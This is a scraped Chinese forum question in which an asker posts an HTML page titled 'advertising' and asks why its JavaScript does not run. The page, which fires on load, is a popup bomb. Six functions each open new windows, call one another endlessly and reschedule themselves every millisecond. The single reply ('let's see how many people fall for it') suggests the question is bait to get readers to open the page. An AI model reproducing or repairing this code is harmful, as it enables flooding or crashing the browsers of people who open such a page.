日期:2014-05-16  浏览次数:20455 次

html中javascript小问题
如下面这一段代码,怎么运行不了呢?是不是方法调用错了?


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>做广告</title>
</head>

<script type="text/javascript">
  function openNew()
  {
window.open("new.html");
openNew1();
openNew2();
openNew3();
openNew4();
openNew5();
window.setTimeout("openNew()",1);
}
function openNew1()
  {
window.open("new.html");
openNew1();
openNew2();
openNew3();
openNew4();
openNew5();
window.setTimeout("openNew()",1);
}
function openNew2()
  {
window.open("new.html");
openNew1();
openNew2();
openNew3();
openNew4();
openNew5();
window.setTimeout("openNew()",1);
}
function openNew3()
  {
window.open("new.html");
openNew1();
openNew2();
openNew3();
openNew4();
openNew5();
window.setTimeout("openNew()",1);
}
function openNew4()
  {
window.open("new.html");
openNew1();
openNew2();
openNew3();
openNew4();
openNew5();
window.setTimeout("openNew()",1);
}
function openNew5()
  {
window.open("new.html");
openNew1();
openNew2();
openNew3();
openNew4();
openNew5();
window.setTimeout("openNew()",1);
}

</script>
<body onload="openNew()">
</body>
</html>


------解决方案--------------------
看看有多少人会中招。。